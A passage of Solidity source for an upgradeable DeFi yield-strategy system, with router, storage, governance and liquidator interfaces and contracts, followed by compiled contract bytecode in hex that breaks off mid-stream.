uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity 0.5.16; import "@openzeppelin/upgrades/contracts/Initializable.sol"; contract BaseUpgradeableStrategyStorage { bytes32 internal constant _UNDERLYING_SLOT = 0xa1709211eeccf8f4ad5b6700d52a1a9525b5f5ae1e9e5f9e5a0c2fc23c86e530; bytes32 internal constant _VAULT_SLOT = 0xefd7c7d9ef1040fc87e7ad11fe15f86e1d11e1df03c6d7c87f7e1f4041f08d41; bytes32 internal constant _REWARD_TOKEN_SLOT = 0xdae0aafd977983cb1e78d8f638900ff361dc3c48c43118ca1dd77d1af3f47bbf; bytes32 internal constant _REWARD_POOL_SLOT = 0x3d9bb16e77837e25cada0cf894835418b38e8e18fbec6cfd192eb344bebfa6b8; bytes32 internal constant _SELL_FLOOR_SLOT = 0xc403216a7704d160f6a3b5c3b149a1226a6080f0a5dd27b27d9ba9c022fa0afc; bytes32 internal constant _SELL_SLOT = 0x656de32df98753b07482576beb0d00a6b949ebf84c066c765f54f26725221bb6; bytes32 internal constant _PAUSED_INVESTING_SLOT = 0xa07a20a2d463a602c2b891eb35f244624d9068572811f63d0e094072fb54591a; bytes32 internal constant _PROFIT_SHARING_NUMERATOR_SLOT = 0xe3ee74fb7893020b457d8071ed1ef76ace2bf4903abd7b24d3ce312e9c72c029; bytes32 internal constant _PROFIT_SHARING_DENOMINATOR_SLOT = 0x0286fd414602b432a8c80a0125e9a25de9bba96da9d5068c832ff73f09208a3b; bytes32 internal constant _NEXT_IMPLEMENTATION_SLOT = 0x29f7fcd4fe2517c1963807a1ec27b0e45e67c60a874d5eeac7a0b1ab1bb84447; bytes32 internal constant _NEXT_IMPLEMENTATION_TIMESTAMP_SLOT = 0x414c5263b05428f1be1bfa98e25407cc78dd031d0d3cd2a2e3d63b488804f22e; bytes32 internal constant _NEXT_IMPLEMENTATION_DELAY_SLOT = 0x82b330ca72bcd6db11a26f10ce47ebcfe574a9c646bccbc6f1cd4478eae16b31; bytes32 internal constant _REWARD_CLAIMABLE_SLOT = 0xbc7c0d42a71b75c3129b337a259c346200f901408f273707402da4b51db3b8e7; bytes32 internal constant _MULTISIG_SLOT = 0x3e9de78b54c338efbc04e3a091b87dc7efb5d7024738302c548fc59fba1c34e6; constructor() public { assert(_UNDERLYING_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.underlying")) - 1)); assert(_VAULT_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.vault")) - 1)); assert(_REWARD_TOKEN_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.rewardToken")) - 1)); assert(_REWARD_POOL_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.rewardPool")) - 1)); assert(_SELL_FLOOR_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.sellFloor")) - 1)); assert(_SELL_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.sell")) - 1)); assert(_PAUSED_INVESTING_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.pausedInvesting")) - 1)); assert(_PROFIT_SHARING_NUMERATOR_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.profitSharingNumerator")) - 1)); assert(_PROFIT_SHARING_DENOMINATOR_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.profitSharingDenominator")) - 1)); assert(_NEXT_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nextImplementation")) - 1)); assert(_NEXT_IMPLEMENTATION_TIMESTAMP_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nextImplementationTimestamp")) - 1)); assert(_NEXT_IMPLEMENTATION_DELAY_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nextImplementationDelay")) - 1)); assert(_REWARD_CLAIMABLE_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.rewardClaimable")) - 1)); assert(_MULTISIG_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.multiSig")) - 1)); } function _setUnderlying(address _address) internal { setAddress(_UNDERLYING_SLOT, _address); } function underlying() public view returns (address) { return getAddress(_UNDERLYING_SLOT); } function _setRewardPool(address _address) internal { setAddress(_REWARD_POOL_SLOT, _address); } function rewardPool() public view returns (address) { return getAddress(_REWARD_POOL_SLOT); } function _setRewardToken(address _address) internal { setAddress(_REWARD_TOKEN_SLOT, _address); } function rewardToken() public view returns (address) { return getAddress(_REWARD_TOKEN_SLOT); } function _setVault(address _address) internal { setAddress(_VAULT_SLOT, _address); } function vault() public view returns (address) { return getAddress(_VAULT_SLOT); } // a flag for disabling selling for simplified emergency exit function _setSell(bool _value) internal { setBoolean(_SELL_SLOT, _value); } function sell() public view returns (bool) { return getBoolean(_SELL_SLOT); } function _setPausedInvesting(bool _value) internal { setBoolean(_PAUSED_INVESTING_SLOT, _value); } function pausedInvesting() public view returns (bool) { return getBoolean(_PAUSED_INVESTING_SLOT); } function _setSellFloor(uint256 _value) internal { setUint256(_SELL_FLOOR_SLOT, _value); } function sellFloor() public view returns (uint256) { return getUint256(_SELL_FLOOR_SLOT); } function _setProfitSharingNumerator(uint256 _value) internal { setUint256(_PROFIT_SHARING_NUMERATOR_SLOT, _value); } function profitSharingNumerator() public view returns (uint256) { return getUint256(_PROFIT_SHARING_NUMERATOR_SLOT); } function _setProfitSharingDenominator(uint256 _value) internal { setUint256(_PROFIT_SHARING_DENOMINATOR_SLOT, _value); } function profitSharingDenominator() public view returns (uint256) { return getUint256(_PROFIT_SHARING_DENOMINATOR_SLOT); } function allowedRewardClaimable() public view returns (bool) { return getBoolean(_REWARD_CLAIMABLE_SLOT); } function _setRewardClaimable(bool _value) internal { setBoolean(_REWARD_CLAIMABLE_SLOT, _value); } function multiSig() public view returns(address) { return getAddress(_MULTISIG_SLOT); } function _setMultiSig(address _address) internal { setAddress(_MULTISIG_SLOT, _address); } // upgradeability function _setNextImplementation(address _address) internal { setAddress(_NEXT_IMPLEMENTATION_SLOT, _address); } function nextImplementation() public view returns (address) { return getAddress(_NEXT_IMPLEMENTATION_SLOT); } function _setNextImplementationTimestamp(uint256 _value) internal { setUint256(_NEXT_IMPLEMENTATION_TIMESTAMP_SLOT, _value); } function nextImplementationTimestamp() public view returns (uint256) { return getUint256(_NEXT_IMPLEMENTATION_TIMESTAMP_SLOT); } function _setNextImplementationDelay(uint256 _value) internal { setUint256(_NEXT_IMPLEMENTATION_DELAY_SLOT, _value); } function nextImplementationDelay() public view returns (uint256) { return getUint256(_NEXT_IMPLEMENTATION_DELAY_SLOT); } function setBoolean(bytes32 slot, bool _value) internal { setUint256(slot, _value ? 1 : 0); } function getBoolean(bytes32 slot) internal view returns (bool) { return (getUint256(slot) == 1); } function setAddress(bytes32 slot, address _address) internal { // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _address) } } function setUint256(bytes32 slot, uint256 _value) internal { // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _value) } } function getAddress(bytes32 slot) internal view returns (address str) { // solhint-disable-next-line no-inline-assembly assembly { str := sload(slot) } } function getUint256(bytes32 slot) internal view returns (uint256 str) { // solhint-disable-next-line no-inline-assembly assembly { str := sload(slot) } } } pragma solidity 0.5.16; import "./GovernableInit.sol"; // A clone of Governable supporting the Initializable interface and pattern contract ControllableInit is GovernableInit { constructor() public { } function initialize(address _storage) public initializer { GovernableInit.initialize(_storage); } modifier onlyController() { require(Storage(_storage()).isController(msg.sender), "Not a controller"); _; } modifier onlyControllerOrGovernance(){ require((Storage(_storage()).isController(msg.sender) || Storage(_storage()).isGovernance(msg.sender)), "The caller must be controller or governance"); _; } function controller() public view returns (address) { return Storage(_storage()).controller(); } } pragma solidity 0.5.16; interface IController { event SharePriceChangeLog( address indexed vault, address indexed strategy, uint256 oldSharePrice, uint256 newSharePrice, uint256 timestamp ); // [Grey list] // An EOA can safely interact with the system no matter what. // If you're using Metamask, you're using an EOA. // Only smart contracts may be affected by this grey list. // // This contract will not be able to ban any EOA from the system // even if an EOA is being added to the greyList, he/she will still be able // to interact with the whole system as if nothing happened. // Only smart contracts will be affected by being added to the greyList. // This grey list is only used in Vault.sol, see the code there for reference function greyList(address _target) external view returns(bool); function addVaultAndStrategy(address _vault, address _strategy) external; function doHardWork(address _vault) external; function salvage(address _token, uint256 amount) external; function salvageStrategy(address _strategy, address _token, uint256 amount) external; function notifyFee(address _underlying, uint256 fee) external; function profitSharingNumerator() external view returns (uint256); function profitSharingDenominator() external view returns (uint256); function feeRewardForwarder() external view returns(address); function setFeeRewardForwarder(address _value) external; function addHardWorker(address _worker) external; function addToWhitelist(address _target) external; } pragma solidity 0.5.16; interface IFeeRewardForwarderV6 { function poolNotifyFixedTarget(address _token, uint256 _amount) external; function notifyFeeAndBuybackAmounts(uint256 _feeAmount, address _pool, uint256 _buybackAmount) external; function notifyFeeAndBuybackAmounts(address _token, uint256 _feeAmount, address _pool, uint256 _buybackAmount) external; function profitSharingPool() external view returns (address); function configureLiquidation(address[] calldata _path, bytes32[] calldata _dexes) external; } // SPDX-License-Identifier: MIT pragma solidity 0.5.16; interface ILiquidator { event Swap( address indexed buyToken, address indexed sellToken, address indexed target, address initiator, uint256 amountIn, uint256 slippage, uint256 total ); function swapTokenOnMultipleDEXes( uint256 amountIn, uint256 amountOutMin, address target, bytes32[] calldata dexes, address[] calldata path ) external; function swapTokenOnDEX( uint256 amountIn, uint256 amountOutMin, address target, bytes32 dexName, address[] calldata path ) external; function getAllDexes() external view returns (bytes32[] memory); } // SPDX-License-Identifier: MIT pragma solidity 0.5.16; interface ILiquidatorRegistry { function universalLiquidator() external view returns(address); function setUniversalLiquidator(address _ul) external; function getPath( bytes32 dex, address inputToken, address outputToken ) external view returns(address[] memory); function setPath( bytes32 dex, address inputToken, address outputToken, address[] calldata path ) external; } pragma solidity 0.5.16; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./Storage.sol"; // A clone of Governable supporting the Initializable interface and pattern contract GovernableInit is Initializable { bytes32 internal constant _STORAGE_SLOT = 0xa7ec62784904ff31cbcc32d09932a58e7f1e4476e1d041995b37c917990b16dc; modifier onlyGovernance() { require(Storage(_storage()).isGovernance(msg.sender), "Not governance"); _; } constructor() public { assert(_STORAGE_SLOT == bytes32(uint256(keccak256("eip1967.governableInit.storage")) - 1)); } function initialize(address _store) public initializer { _setStorage(_store); } function _setStorage(address newStorage) private { bytes32 slot = _STORAGE_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newStorage) } } function setStorage(address _store) public onlyGovernance { require(_store != address(0), "new storage shouldn't be empty"); _setStorage(_store); } function _storage() internal view returns (address str) { bytes32 slot = _STORAGE_SLOT; // solhint-disable-next-line no-inline-assembly assembly { str := sload(slot) } } function governance() public view returns (address) { return Storage(_storage()).governance(); } } pragma solidity 0.5.16; contract Storage { address public governance; address public controller; constructor() public { governance = msg.sender; } modifier onlyGovernance() { require(isGovernance(msg.sender), "Not governance"); _; } function setGovernance(address _governance) public onlyGovernance { require(_governance != address(0), "new governance shouldn't be empty"); governance = _governance; } function setController(address _controller) public onlyGovernance { require(_controller != address(0), "new controller shouldn't be empty"); controller = _controller; } function isGovernance(address account) public view returns (bool) { return account == governance; } function isController(address account) public view returns (bool) { return account == controller; } }
0x608060405234801561001057600080fd5b506004361061038e5760003560e01c806382de9c1b116101de578063bfd131f11161010f578063db620485116100ad578063f77c47911161007c578063f77c479114610969578063f7c618c114610971578063fbfa77cf14610979578063fdf5272d146109815761038e565b8063db62048514610906578063e9da72eb1461090e578063eae99da114610916578063ed0c873e1461094c5761038e565b8063c6def076116100e9578063c6def076146108d1578063c89039c5146108d9578063ce8c42e8146108e1578063d3df8aa4146108fe5761038e565b8063bfd131f11461089b578063c2a2a07b146108a3578063c4d66de8146108ab5761038e565b8063a1dab23e1161017c578063b076a53a11610156578063b076a53a1461084f578063b60f151a1461086e578063ba09591e14610876578063bf809e1f146108935761038e565b8063a1dab23e14610809578063a836569314610811578063ad56f84f146108195761038e565b80638eab5923116101b85780638eab5923146107a85780639137c1a7146107b05780639a508c8e146107d65780639d16acfd146107de5761038e565b806382de9c1b1461077257806385b97b6f1461077a578063887ee971146107a05761038e565b80633fc8cef3116102c3578063501859461161026157806366666aa91161023057806366666aa91461073d57806366f6e531146107455780636f307dc31461074d5780637bb7bed1146107555761038e565b806350185946146106ff5780635641ec03146107255780635aa6e6751461072d5780635acb5da9146107355761038e565b80634777fab61161029d5780634777fab6146105e85780634d352ab2146106555780634dc461b9146106835780634fa5d854146106f75761038e565b80633fc8cef3146105bc57806345710074146105c457806345d01e4a146105e05761038e565b80631c03e6cc1161033057806336e0004a1161030a57806336e0004a1461059c57806337c84e13146105a45780633abc0979146105ac5780633e0dc34e146105b45761038e565b80631c03e6cc146104475780631c97e3431461046d5780632ea19326146105945761038e565b80630c80447a1161036c5780630c80447a146103d95780631113ef5214610401578063183e9565146104375780631b6a87591461043f5761038e565b8063026a0dd01461039357806306974e8d146103ad57806309ff18f0146103d1575b600080fd5b61039b610989565b60408051918252519081900360200190f35b6103b56109ba565b604080516001600160a01b039092168252519081900360200190f35b6103b56109e5565b6103ff600480360360208110156103ef57600080fd5b50356001600160a01b0316610a10565b005b6103ff6004803603606081101561041757600080fd5b506001600160a01b03813581169160208101359091169060400135610b07565b6103b5610cbf565b61039b610cd7565b6103ff6004803603602081101561045d57600080fd5b50356001600160a01b0316610d02565b6103ff6004803603604081101561048357600080fd5b81019060208101813564010000000081111561049e57600080fd5b8201836020820111156104b057600080fd5b803590602001918460208302840111640100000000831117156104d257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561052257600080fd5b82018360208201111561053457600080fd5b8035906020019184602083028401116401000000008311171561055657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e1f945050505050565b61039b610fe1565b6103b5610fe7565b61039b611012565b6103b561103d565b61039b611068565b6103b5611093565b6105cc6110a5565b604080519115158252519081900360200190f35b61039b6110d0565b6103ff60048036036101408110156105ff57600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013582169160808201359160a081013582169160c08201359160e08101359091169061010081013590610120013515156111fe565b6103ff6004803603604081101561066b57600080fd5b506001600160a01b03813581169160200135166114f7565b6103ff600480360361016081101561069a57600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135821691608082013581169160a08101359160c08201359160e081013515159161010082013591610120810135916101409091013516611939565b6103ff611ac7565b6105cc6004803603602081101561071557600080fd5b50356001600160a01b0316611c14565b6103ff611c7e565b6103b5611d5b565b6105cc611dce565b6103b5611df9565b61039b611e24565b6103b5611e4f565b6103b56004803603602081101561076b57600080fd5b5035611e7a565b61039b611ea1565b6103ff6004803603602081101561079057600080fd5b50356001600160a01b0316611ecc565b6103b5611fc1565b6105cc611fec565b6103ff600480360360208110156107c657600080fd5b50356001600160a01b0316612017565b6103ff612146565b6107e66125cc565b6040805192151583526001600160a01b0390911660208301528051918290030190f35b61039b612618565b61039b612643565b6103b56004803603606081101561082f57600080fd5b506001600160a01b0381358116916020810135909116906040013561266e565b6103ff6004803603602081101561086557600080fd5b503515156126b0565b61039b612784565b6103ff6004803603602081101561088c57600080fd5b50356127af565b6103b5612883565b6103ff6128ae565b6105cc612a25565b6103ff600480360360208110156108c157600080fd5b50356001600160a01b0316612a2a565b6103b5612ad6565b6103b5612aee565b6103ff600480360360208110156108f757600080fd5b5035612b19565b6105cc612c94565b6103ff612cbf565b6103b5612d94565b61039b6004803603606081101561092c57600080fd5b506001600160a01b03813581169160208101359091169060400135612da3565b6103ff6004803603602081101561096257600080fd5b5035612dde565b6103b5612ed3565b6103b5612f15565b6103b5612f40565b6103b5612f6b565b60006109b47f0286fd414602b432a8c80a0125e9a25de9bba96da9d5068c832ff73f09208a3b612f92565b90505b90565b60006109b47febfe408f65547b28326a79acf512c0f9a2bf4211ece39254d7c3ec96dd3dd242612f92565b60006109b47f29f7fcd4fe2517c1963807a1ec27b0e45e67c60a874d5eeac7a0b1ab1bb84447612f92565b610a18612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610a6d57600080fd5b505afa158015610a81573d6000803e3d6000fd5b505050506040513d6020811015610a9757600080fd5b5051610adb576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610ae481612fbb565b610b04610aff610af2612643565b429063ffffffff612fe516565b613046565b50565b610b0f612f96565b6001600160a01b031663b429afeb336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610b6457600080fd5b505afa158015610b78573d6000803e3d6000fd5b505050506040513d6020811015610b8e57600080fd5b505180610c205750610b9e612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610bf357600080fd5b505afa158015610c07573d6000803e3d6000fd5b505050506040513d6020811015610c1d57600080fd5b50515b610c5b5760405162461bcd60e51b815260040180806020018281038252602b815260200180614bed602b913960400191505060405180910390fd5b610c6482611c14565b15610ca05760405162461bcd60e51b8152600401808060200182810382526022815260200180614c386022913960400191505060405180910390fd5b610cba6001600160a01b038316848363ffffffff61307016565b505050565b73f49440c1f012d041802b25a73e5b0b9166a75c0281565b60006109b47fbb60b35bae256d3c1378ff05e8d7bee588cd800739c720a107471dfa218f74c1612f92565b610d0a612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610d5f57600080fd5b505afa158015610d73573d6000803e3d6000fd5b505050506040513d6020811015610d8957600080fd5b5051610dcd576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b603580546001810182556000919091527fcfa4bec1d3298408bb5afcfcd9c430549c5b31f8aa5c5848151c0a55f473c34d0180546001600160a01b0319166001600160a01b0392909216919091179055565b610e27612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610e7c57600080fd5b505afa158015610e90573d6000803e3d6000fd5b505050506040513d6020811015610ea657600080fd5b5051610eea576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600082600081518110610ef957fe5b60200260200101519050600083600185510381518110610f1557fe5b602002602001015190506001845103835114610f6f576040805162461bcd60e51b81526020600482015260146024820152730d8cadccee8d0e640c8de40dcdee840dac2e8c6d60631b604482015290519081900360640190fd5b6001600160a01b03808316600090815260336020908152604080832093851683529281529190208551610fa492870190614aa8565b506001600160a01b03808316600090815260346020908152604080832093851683529281529190208451610fda92860190614b0d565b5050505050565b61271081565b60006109b47f3e9de78b54c338efbc04e3a091b87dc7efb5d7024738302c548fc59fba1c34e6612f92565b60006109b47fb7c50ef998211fff3420379d0bf5b8dfb0cee909d1b7d9e517f311c104675b09612f92565b60006109b47f7a4b558e8ed4a66729f4a918db093413f0f1ae77c0de7c88bea8b99e084b2a17612f92565b60006109b47f3fd729bfa2e28b7806b03a6e014729f59477b530f995be4d51defc9dad94810b612f92565b600080516020614c1883398151915281565b60006109b47f656de32df98753b07482576beb0d00a6b949ebf84c066c765f54f26725221bb66130c2565b60006109b46110dd611e4f565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561113257600080fd5b505afa158015611146573d6000803e3d6000fd5b505050506040513d602081101561115c57600080fd5b50516111f2611169612883565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156111be57600080fd5b505afa1580156111d2573d6000803e3d6000fd5b505050506040513d60208110156111e857600080fd5b50516111f26130d6565b9063ffffffff612fe516565b600054610100900460ff16806112175750611217613135565b80611225575060005460ff16155b6112605760405162461bcd60e51b815260040180806020018281038252602e815260200180614cfb602e913960400191505060405180910390fd5b600054610100900460ff1615801561128b576000805460ff1961ff0019909116610100171660011790555b6112c88b8b8b8b600080516020614c1883398151915261012c6103e86001600061a8c0737882172921e99d590e097cd600554339fbdbc480611939565b60008073f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b0316631526fe278a6040518263ffffffff1660e01b81526004018082815260200191505060c06040518083038186803b15801561132357600080fd5b505afa158015611337573d6000803e3d6000fd5b505050506040513d60c081101561134d57600080fd5b5080516020909101519092509050611363611e4f565b6001600160a01b0316826001600160a01b0316146113b25760405162461bcd60e51b8152600401808060200182810382526023815260200180614cb76023913960400191505060405180910390fd5b8487106113f05760405162461bcd60e51b8152600401808060200182810382526024815260200180614c936024913960400191505060405180910390fd5b8460011080156114005750600585105b611451576040805162461bcd60e51b815260206004820152601c60248201527f5f6e546f6b656e732073686f756c6420626520322c2033206f72203400000000604482015290519081900360640190fd5b61145a8761313b565b61146389613165565b61146c8861318f565b611475816131b9565b61147e866131e3565b6114878561320d565b61149084613237565b61149b6103e8612dde565b6114b873f49440c1f012d041802b25a73e5b0b9166a75c02611ecc565b60408051600081526020810191829052516114d591603591614aa8565b50505080156114ea576000805461ff00191690555b5050505050505050505050565b600054610100900460ff16806115105750611510613135565b8061151e575060005460ff16155b6115595760405162461bcd60e51b815260040180806020018281038252602e815260200180614cfb602e913960400191505060405180910390fd5b600054610100900460ff16158015611584576000805460ff1961ff0019909116610100171660011790555b732fe94ea3d5d4a175184081439753de15aef9d61473eeece77e0bc5e59c77fc408789a9a172a504bd2f73d533a949740bb3306d119cc777fa900ba034cd52734e3fbd56cd56c3e72c1403e103b45db9da5b9d2b73bc19712feb3a26080ebf6f2f7849b417fdd792ca732260fac5e5542a773aa44fbcfedf7c193bc2c59973d5bcf53e2c81e1991570f33fa881c49eea570c8d7fcb2d20206d906069351c89a2cb7cdbd96c71998717cd5a82e724d955b654f67a7f8f78a54cb77f4634a5bf3dd452ed6a2e33432c73821be59208661199511cd94f61166f8c8a8d8b60148960028a600460006111fe565b604080516060810182526001600160a01b03808a16825288811660208301528716918101919091526116a5906035906003614aa8565b506040805180820182526001600160a01b038916808252600080516020614c18833981519152602080840182905260009283526033815284832091835252919091206116f2916002614aa8565b5060408051602080820183528482526001600160a01b038a16600090815260348252838120600080516020614c1883398151915282529091529190912061173a916001614b0d565b506040805180820182526001600160a01b038816808252600080516020614c1883398151915260208084018290526000928352603381528483209183525291909120611787916002614aa8565b5060408051602080820183528482526001600160a01b038916600090815260348252838120600080516020614c188339815191528252909152919091206117cf916001614b0d565b506040805180820182526001600160a01b038716808252600080516020614c188339815191526020808401829052600092835260338152848320918352529190912061181c916002614aa8565b5060408051602080820183528382526001600160a01b038816600090815260348252838120600080516020614c18833981519152825290915291909120611864916001614b0d565b50604080518082018252600080516020614c1883398151915281526001600160a01b038616602080830182905260009182527f58e9934f05c179f029567a768006bc4626ef0edf3f2891d75edb1a486c863a939052919091206118c8916002614aa8565b5060408051602080820183528482526001600160a01b03871660009081527ff81d8d79f42adb4c73cc3aa0c78e25d3343882d0313c0b80ece3d3a103ef1ebf90915291909120611919916001614b0d565b505050505050505050508015610cba576000805461ff0019169055505050565b600054610100900460ff16806119525750611952613135565b80611960575060005460ff16155b61199b5760405162461bcd60e51b815260040180806020018281038252602e815260200180614cfb602e913960400191505060405180910390fd5b600054610100900460ff161580156119c6576000805460ff1961ff0019909116610100171660011790555b6119cf8c612a2a565b6119d88b613261565b6119e18a61328b565b6119ea896132b5565b6119f3886132df565b6119fc87613309565b611a0586613333565b611a0e8561335d565b611a1784613387565b611a20836133b1565b611a2a60006133db565b611a3382613405565b611aa7611a3e61103d565b6001600160a01b03166306974e8d6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a7657600080fd5b505afa158015611a8a573d6000803e3d6000fd5b505050506040513d6020811015611aa057600080fd5b505161342f565b8015611ab9576000805461ff00191690555b505050505050505050505050565b611acf612c94565b15611b0b5760405162461bcd60e51b8152600401808060200182810382526034815260200180614d896034913960400191505060405180910390fd5b611b13612f40565b6001600160a01b0316336001600160a01b03161480611b4a5750611b35612ed3565b6001600160a01b0316336001600160a01b0316145b80611b6d5750611b58611d5b565b6001600160a01b0316336001600160a01b0316145b611ba85760405162461bcd60e51b8152600401808060200182810382526039815260200180614c5a6039913960400191505060405180910390fd5b611bb0611df9565b6001600160a01b0316633d18b9126040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611bea57600080fd5b505af1158015611bfe573d6000803e3d6000fd5b50505050611c0a613459565b611c12613b8f565b565b6000611c1e612f15565b6001600160a01b0316826001600160a01b03161480611c555750611c40611e4f565b6001600160a01b0316826001600160a01b0316145b80611c785750611c63612883565b6001600160a01b0316826001600160a01b0316145b92915050565b611c86612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611cdb57600080fd5b505afa158015611cef573d6000803e3d6000fd5b505050506040513d6020811015611d0557600080fd5b5051611d49576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b611d51613c6c565b611c1260016133db565b6000611d65612f96565b6001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b158015611d9d57600080fd5b505afa158015611db1573d6000803e3d6000fd5b505050506040513d6020811015611dc757600080fd5b5051905090565b60006109b47f567ad8b67c826974a167f1a361acbef5639a3e7e02e99edbc648a84b0923d5b76130c2565b60006109b47f3d9bb16e77837e25cada0cf894835418b38e8e18fbec6cfd192eb344bebfa6b8612f92565b60006109b47fb487e573671f10704ed229d25cf38dda6d287a35872859d096c0395110a0adb1612f92565b60006109b47fa1709211eeccf8f4ad5b6700d52a1a9525b5f5ae1e9e5f9e5a0c2fc23c86e530612f92565b60358181548110611e8757fe5b6000918252602090912001546001600160a01b0316905081565b60006109b47f414c5263b05428f1be1bfa98e25407cc78dd031d0d3cd2a2e3d63b488804f22e612f92565b611ed4612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611f2957600080fd5b505afa158015611f3d573d6000803e3d6000fd5b505050506040513d6020811015611f5357600080fd5b5051611f97576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610b047fc26d330f887c749cb38ae7c37873ff08ac4bba7aec9113c82d48a0cf6cc145f282613df0565b60006109b47fb306bb7adebd5a22f5e4cdf1efa00bc5f62d4f5554ef9d62c1b16327cd3ab5f9612f92565b60006109b47fbc7c0d42a71b75c3129b337a259c346200f901408f273707402da4b51db3b8e76130c2565b61201f612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561207457600080fd5b505afa158015612088573d6000803e3d6000fd5b505050506040513d602081101561209e57600080fd5b50516120e2576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b03811661213d576040805162461bcd60e51b815260206004820152601e60248201527f6e65772073746f726167652073686f756c646e277420626520656d7074790000604482015290519081900360640190fd5b610b0481613df4565b61214e612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156121a357600080fd5b505afa1580156121b7573d6000803e3d6000fd5b505050506040513d60208110156121cd57600080fd5b5051612211576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b612219613e18565b61223673f49440c1f012d041802b25a73e5b0b9166a75c02611ecc565b6122416103e8612dde565b61224b600461320d565b612268737882172921e99d590e097cd600554339fbdbc480613405565b612273611a3e61103d565b6040805160608101825273d533a949740bb3306d119cc777fa900ba034cd52808252734e3fbd56cd56c3e72c1403e103b45db9da5b9d